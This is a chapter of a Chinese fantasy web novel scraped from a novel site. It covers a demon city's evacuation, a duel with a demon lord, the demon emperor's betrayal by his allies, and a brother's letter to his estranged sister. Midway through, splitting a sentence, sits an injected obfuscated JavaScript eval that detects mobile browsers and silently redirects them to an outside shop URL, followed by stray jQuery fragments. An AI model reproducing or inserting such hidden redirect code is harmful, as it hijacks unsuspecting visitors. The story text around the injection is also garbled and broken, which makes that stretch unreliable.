文趣网 > 其他小说 > 偏执反派是我宿敌 > 58. 哥哥
    “青涟,对吧?“

    绯阙突然出声。

    青涟立马道:“是。”

    “即刻带上悬月城所有人,动身前往三界喉,避入人间。”绯阙语气强势,“我只能护住悬月城一柱香,一柱香之后,整个城池会被魔气吞噬。”

    周围听到绯阙言语的小妖惊慌失措起来。

    他们从未想到会落入如此艰难的境地。

    青涟张了张嘴,似是想说什么。

    压迫力极强的妖力冲天而起,整个城池都被笼罩在内。

    “从现在开始算起。”绯阙说,“一柱香之内,但凡未能顺利撤离者,我再不会出手相护。我会赶赴其余妖族城池,搜救幸存族人,最终到三界喉与你们汇合。”

    说完,绯阙已然消失在原地,只余下她最后一道声音:“即刻行动起来。”

    地面震动,连带着拍卖场的建筑也开始摇晃,若是她曾经的那些破屋子,恐怕在这种情况下已经塌了。

    青涟站起来:“所有人,有一个是一个,去街上把人都喊出来,以最快速度赶到拍卖场门口的广场上,一柱香后,我们不会等任何人。”

    话毕,不少小妖立马往外奔去,街道上的叫喊声传入她的耳朵。

    青涟冷静片刻,意识到自己需要在众人抵达之前前往三界喉查看情况确认安全,还需处理随时可能发生的情况。

    这一柱香的时间里,似乎没有给她留下赶去母亲那边将人接过来的时间。

    再者……母亲如今也不愿见到她。

    她咬了咬牙,喊来旁边的小妖:“麻烦你去果子巷接一下我母亲。”

    青涟杀了父亲后,母亲瞧见她便觉得恐惧,二人便不怎么相见,也没办法再住在一起,于是青涟只好花光积蓄将其安置在果子巷里的一处院子里。

    她自是伤心的,也曾想过恨母亲,可恨来恨去,最后却发现自己在这个世界上唯一的连接,也就只有母亲一人了。

    所以哪怕是恨,哪怕对方也恨自己,青涟都不可能抛下她而去

    小妖问道:“那我就说是大人您让我来的。”

    “不必。”

    青涟深吸一口气,转身走向传送阵:“你只让她来。”

    -

    一滴鲜血落在地上,荡漾出一片红。

    宁岁禾攥紧拳头,擦干净唇角的鲜血,撑着剑站了起来。

    “师姐!”

    楚惟手心都掐出了血,作势就要出来。

    “别动。”

    宁岁禾盯着眼前的魔尊,声音冷淡,“别出来。”

    大乘巅峰。

    她一个元婴期在魔尊的威压下尚且还能喘气,楚惟他们这些金丹期,一旦出来,下场只会是死。

    “很有自知之明。”魔尊看向宁岁禾的目光渐渐带上了认真之色。

    从一开始的毫无招架之力,到如今的能躲过他好几招,还能抽空给他一剑,甚至还在跟自己的打斗中连破两境。

    这小姑娘的悟性极佳,天赋惊人。

    假以时日,必然是他们的最难缠的阻碍。

    若不是……

    “我真想杀了你。”魔尊冷笑,身上被飞雪割开的伤口处血液绞缠,很快愈合。

    “哦?”宁岁禾目光扫过那道伤口,一剑挥过去,咬牙切齿,“那为什么不杀?”

    “你猜。”

    魔尊逗猫似的侧身躲开,看了看天色:“应该差不多了,下次见,小首席。”

    他毫不恋战,裂缝在他身后再此展开,魔尊退后一步,半个身子都进入了裂缝中。

    他语气里满是怜悯:“不过,那时候你可就活不了了。”

    魔族在瞬息之间追随魔尊消散了个干净。

    危机解除,几个亲传立马跑了出来,扶住了宁岁禾。

    任竹喧一脸忧色:“师姐,还好吗?”

    “没事。”宁岁禾压下喉间的腥甜,“如何?”

    任竹喧摇摇头:“整个天和宗都被魔尊的神识笼罩,我试了好几次,都没能溜出去。”

    青霄宗孤立无援,会遭遇什么……

    宁岁禾不敢想,咬牙:“带上一队弟子,去青霄宗。”

    -

    风琦撕开空间,与两宗长老对峙。

    这片空间什么都没有,上下左右都是同样的虚无。

    两宗长老十二人,一个不落都被拉入了这个空间,甚至连青霄宗那位独自窝在炼器堂的社恐长老也被拉了进来。其中天和宗拥有战力的有五人,青霄宗四人,剩下三人两个丹修一个器修。

    几个长老大多在合体期,只有温鹤声与谢无渊在大乘初期。

    对面站着风琦和三个魔族长老,还有两个妖族的高手。风琦境界在大乘中期,其余人皆为合体期。

    虽然风琦修为最高,但明显双拳难敌死手,加之长老们忧心宗门状况,一招一式都带着焦急和愤怒,最终还两宗占据上风。

    “妖皇。”

    温鹤声冷声道:“你困得住我们一时,困不住我们一世。妖族与魔族的大军攻得破我们宗门,灭不了我们的弟子。你今天杀了我,明天会有另一个人握起这把剑。你今天毁了两宗的阵,明天我们便会在废墟上重建一座新的。”

    风琦轻轻挑了挑眉。

    “两宗的弟子们,他们的修为或许不如你我,但他们的血性,不输任何人。”

    不知是哪个字戳中了风琦,他动作一顿。

    他与曾经的同窗们还没决裂的时候,世人也是这般夸赞他们的。

    年少有为,群贤毕至,侠肝义胆……

    这些赞美的词汇,从来都是毫不吝啬地咋在他们身上的。

    可后来,便再也无人提起了。

    风琦自嘲地笑了笑,暗骂自己怎么过了千年还怀念这些没影的事情。

    现在早就是后辈们的时代了。

    “罢了,”他挥挥手,示意身后几人上前,“速战速决吧,若是你们能打赢我们,我便让你们离开。”

    话毕,半晌却无人动弹。

    几个妖族面面相觑,看向那几个魔族长老。

    风琦意识到不对,回头看向魔族。

    “抱歉了,妖皇大人。”其中一个魔族长老说道。

    风琦瞬间意识到:“你们要叛变?”

    顿了顿,他再次开口,语气不是疑问而是确信:“暮影让你们这么做的,对吗?”

    魔族长老沉默良久。

    但沉默便已经是答案了。

    风琦轻轻眨了眨眼,没再说话。

    他忽然记起那日大雨滂沱,寻常里阴鸷的少年打碎了困

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17817698|207511||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    住他的结界,雨水将他整个人都打湿,身后,是风琦急疯了想去救的家人。

    那时候他便在想,暮影对他的恩,或许他该用数次赴汤蹈火方可还清。

    可此时此刻,魔族长老渐渐后退,渐渐消失在他的视线里,他脑子里第一个冒出来的,却是绯阙恨铁不成钢的神色。

    原本由他掌控的空间被青霄宗的谢无渊夺了去,风琦三番四次将这群长老困于某处,让他们的弟子们陷入危机,这群人即便脾气再好,也不可能放过他的。

    更何况青霄宗那群人的脾气可当真算不上好。

    “啊……”

    他微微仰头,意识到今日恐怕命丧于此。

    回望来时,他只能叹出短短一句,“真是,漫长而痛苦的一千年啊。”

    这一千年太痛苦,以至于他都快忘了,曾经他与那些少年待在一起时嬉笑怒骂,是多么快乐的时光。

    -

    沈流景面无表情地将断刃从沈崇岳胸口中抽出来。

    他轻轻抚去掌上的灰尘和血迹,两指并拢,夹着的符箓瞬间燃起火焰。

    符箓顺着风飘落,掉在沈家的血泊中,大火连绵,将整个沈家都笼罩在内。

    困了他和流意数十年的牢笼,终于在此刻化为燃尽一切的大火。

    他随手扔掉断刃,从火光中踱步而出。

    柴木被燃烧的噼啪声让他恍惚,鼻尖萦绕着的不再是刺鼻的血腥,而是柴火的清香。

    他忽得想起,多年前流意刚出生时,母亲便病逝了。

    沈家主母讨厌他们,便将他和还在襁褓中的流意扔进了柴房。

    寒冬腊月,柴房里阴冷得让人骨头生疼。沈流景脱下自己的外衫,裹在流意的外面,又去拾了几块柴木,在柴房的空地燃起了小小的火焰。

    噼里啪啦的声音中,沈流景将妹妹抱紧,缩在这片小小的温暖中。

    怀里的妹妹软得像一团棉花,即便不舒服,也只会小声地抽泣。

    沈流景不明白,为什么会有人讨厌这个刚出生的小婴儿呢?

    甚至故意想让这个寒冬带走她的性命。

    怎么会有人将这样的恶意倾倒在一个方才出生的婴儿身上呢?

    他那时候便明白了,这世间,只有他们兄妹二人能够相依为命。

    其余所有,皆为外人。

    沈流景暗暗发誓。

    日后,他定会保护好妹妹,不让她受到一丝一毫的伤害。

    冷风吹过,冻得沈流景打了个寒颤。

    他突然想起来,自己已经很久、很久、很久没有跟流意好好地说上两句话了。

    每一次见到流意,他第一反应都是恐惧。

    恐惧沈崇岳发现她,恐惧她会遭遇不测,恐惧自己灵脉尽废,再也没有能力实现当初的承诺。

    他倏然回神,几乎是手忙脚乱地想传音过去,张嘴却不知道该如何言语,便暗骂一声,奔去旁边折了一根树枝,沾着制符用的朱砂,在信纸上一笔一划地认真写下几行字。

    随后伸手将信纸化作飞鸟,扑闪着翅膀往青霄宗飞去。

    流意。

    他喃喃。

    我的妹妹,如果你愿意原谅我这些年对你的不作为,请来我们的老地方吧。

    哥哥会一直在此等你。